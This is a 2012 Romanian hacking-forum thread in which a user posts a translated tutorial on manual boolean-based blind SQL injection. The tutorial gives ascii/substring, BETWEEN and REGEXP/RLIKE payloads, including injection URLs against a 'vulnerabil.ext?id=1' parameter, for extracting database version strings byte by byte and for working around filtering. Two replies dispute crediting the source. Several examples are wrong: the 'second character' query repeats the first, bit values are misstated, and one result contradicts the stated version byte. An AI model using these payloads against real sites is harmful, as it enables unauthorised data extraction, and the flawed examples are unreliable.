TheBlackHatGuy Posted July 6, 2012 Report Posted July 6, 2012 (edited) Nota: Acesta este un articol pentru avansati.NU VETI INVATA SA FOLOSITI HAVIJ PENTRU O INJECTIE BOOLEAN.NU VETI INVATA CUM SA EXECUTATI O INJECTIE CA SA DATI DEFACE.SUNT DOAR NISTE SFATURI SI INDRUMARI,NU ESTE UN TUTORIAL COMPLET PENTRU A AFLA DATE IMPORTANTE.NU IMI ASIGUR NICIUN RISC PENTRU FOLOSIREA A CE ESTE MAI JOS.Enumerarea boolean reprezinta procesul utilizarii "statementurilor" conditionale (TRUE sau FALSE) pentru a determina valoarea unui byte .Valoarea maxima a unui byte este 255,iar minima 0 Sunt 8 biti intr-un byte Un bit poate fi 1 sau 0 (1=TRUE , 2=FALSE) Din fericire, operatorii universali si functiile universale cuprind:Operator : BETWEEN ... AND ... Operatori: = < > Functie: substring()Functie: ascii()PROTIP: O enumeratie basic folosind operatori standard este posibila, insa de obicei este filtrata de un firewall, deci este recomandat sa ii folositi doar pentru demonstratii.Pentru a va asigura ca integritatea datelor este mentinuta,fiti siguri ca:Mereu folositi LIMIT pentru statementurile selectate in subqueries Mereu folositi ORDER BY pentru statementurile selectate in subqueries, si pastrati numele coloanei Folosirea codurilor Ascii si a functiei ascii() pentru enumeratieFolosirea functiei ascii() in cazul oricarui motor de DB va returna codul Ascii pentru caracterul cerut.Daca se cere un intreg string, va returna codul doar pentru primul caracter. Exemplu:SELECT ascii('a'); +------------+ | ascii('a') | +------------+ | 97 | +------------+ 1 ROW IN SET (0.00 sec)substring()Folosirea substring() pentru selectarea unui single byte.Sintaxa substring() este: SUBSTRING([STRING],[POSITION],[LEN])Selectarea primului caracter dintr-un string: SELECT SUBSTRING('abc',1,1); +----------------------+ | SUBSTRING('abc',1,1) | +----------------------+ | a | +----------------------+ 1 ROW IN SET (0.00 sec) Selectarea celui de-al doilea caracter dintr-un string: SELECT SUBSTRING('abc',1,1); +----------------------+ | SUBSTRING('abc',1,1) | +----------------------+ | a | +----------------------+ 1 ROW IN SET (0.00 sec) PROTIP: Functiile upper() si lower() pot fi folosite pentru a converti rezultatele in caractere uppercase sau lowercase.Asta ar putea,insa,sa stearga un set de caractere ascii din posibilele valori din timpul testarii.Version fingerprinting prin enumeratii ascii-basedNota: Prin enumeratii boolean se pot obtine orice fel de date,insa eu voi da un exemplu prin obtinerea versiunii.TEORIECa un exemplu,voi folosi functia version() .PROTIP: Daca version() nu functioneaza, puteti incerca variabila @@version in schimb.Codul ascii pentru primul caracter al stringului versiunii poate fi accesat prin:ascii(substring(lower(version()),1,1))In cazul MySQL, primul caracter al versiunii este un numar.In exemplul nostru,primul caracter este '5'.mysql> SELECT ascii(SUBSTRING(LOWER(version()),1,1)); +----------------------------------------+ | ascii(SUBSTRING(LOWER(version()),1,1)) | +----------------------------------------+ | 53 | +----------------------------------------+ 1 ROW IN SET (0.00 sec)In cazul PostgreSQL, primul caracter al versiunii este 'P'.Tinand cont ca il convertim in Ascii,el va insemna 112:postgres=# SELECT ascii(SUBSTRING(LOWER(version()),1,1)); ascii ------- 112 (1 ROW)PRACTICAAceste queriuri pot fi folosite si pe MSSQL, insa din pacate nu am un server ruland pe MSSQL la indemana.Aceleasi sintaxe pot fi aplicate, exceptand @@version .Folosirea between ... and ... ca si statementuri de comparatie, valorile putand fi izolate:/vulnerabil.ext?id=1 and ascii(substring(lower(version()),1,1)) between 0 and 105/vulnerabil.ext?id=1 and ascii(substring(lower(version()),1,1)) between 106 and 255Delimitatorii pot fi ajustati prin statementul between pentru a rezulta TRUE,pana cand ei vor fi egalii.Cand ambii parametri sunt egali si rezultatul e TRUE, valoarea byteului este gasita:SELECT * FROM exemplu WHERE id=1 AND ascii(SUBSTRING(LOWER(version()),1,1)) BETWEEN 17 AND 17; +----+---------------------+ | id | text_simplu | +----+---------------------+ | 1 | text simplu | +----+---------------------+ 1 ROW IN SET (0.01 sec)Folosind aceeasi metoda ca si la identificarea primului byte, se poate afla si al doilea (ca exemplu):ascii(SUBSTRING(LOWER(version()),1,1))DEVINEascii(SUBSTRING(LOWER(version()),2,1))Folosirea expresiilor regulare pentru enumerarea BooleanExpresiile regulare sunt cu siguranta cea mai buna solutie in cazul filtrarii.Operatorul REGEXP al MySQL este case insensitive.Operatorul ~ al PostgreSQL este case insensitive.Notiuni de baza ale expresiilor regulare.Nota: REGEXP permite o analiza comparativa a unui singur byte al unui string dintr-o lista, asta fiind similar injectiilor between ... and ... .Patternuri:Caractere speciale:^ Inceputul unui string$ Sfarsitul unui string. Orice caracter* 0 sau mai mult din caracterul precedent+ 1 sau mai mult din caracterul precedent? 0 sau 1 din caracterul precedentPROTIP: Pentru a verifica daca un string incepe cu un anumit caracter (voi folosi litera "c" ca si exemplu), expresia regulara "^c" poate fi folosita. Asta va functiona,insa, DOAR daca primul caracter este "c".Intervale si liste:Un interval sau o lista poate fi specificata intre paranteze '[ si ]'.Intervalele pot cuprinde litere si numere,in timp ce listele au caractere predefinite:[a-z] Numai litere de la 'a' la 'z'.[0-9] Numai numere[aeiou] Numai vocale^a[0-9] Functioneaza doar daca prima litera este a,restul fiind numere.Version fingerprinting folosind expresii regulare compatibilePROTIP: Expresiile regulare sunt portabile.Nota: Atat MSSQL cat si MySQL au expresia RLIKE ca si operator.Enumerarea versiunii pe MySQL si MSSQL:AND version() RLIKE '^[0-4]' -- Va functiona doar daca primul caracter al versiunii este cuprins intre 0 si 4.AND version() RLIKE '^[5-9]' -- Va functiona doar daca primul caracter al versiunii este cuprins intre 5 si 9.In cazul PostgreSQL,unde primul char este mereu 'P':AND LOWER(version()) ~ '^[a-z]' -- Trebuie sa returneze INTOTDEAUNA 'TRUE'AND UPPER(version()) ~ '^[a-z]' -- NICIODATA nu trebuie sa returneze 'TRUE'Sursa pt traducere: http://www.blackhatlibrary.net/SQL_injection#Advanced:_manual_boolean_enumeration Edited July 6, 2012 by TheBlackHatGuy Quote
TheBlackHatGuy Posted July 6, 2012 Author Report Posted July 6, 2012 @SilviuSDS - Nu am dat copy/paste, daca asta insinuezi . Quote
Wubi Posted July 6, 2012 Report Posted July 6, 2012 @SilviuSDS - Nu am dat copy/paste, daca asta insinuezi .Posteaza totusi sursa, chiar daca tu ai tradus tutorialul. (SQL injection - Security101 - Blackhat Techniques - Hacking Tutorials - Vulnerability Research - Security Tools) Quote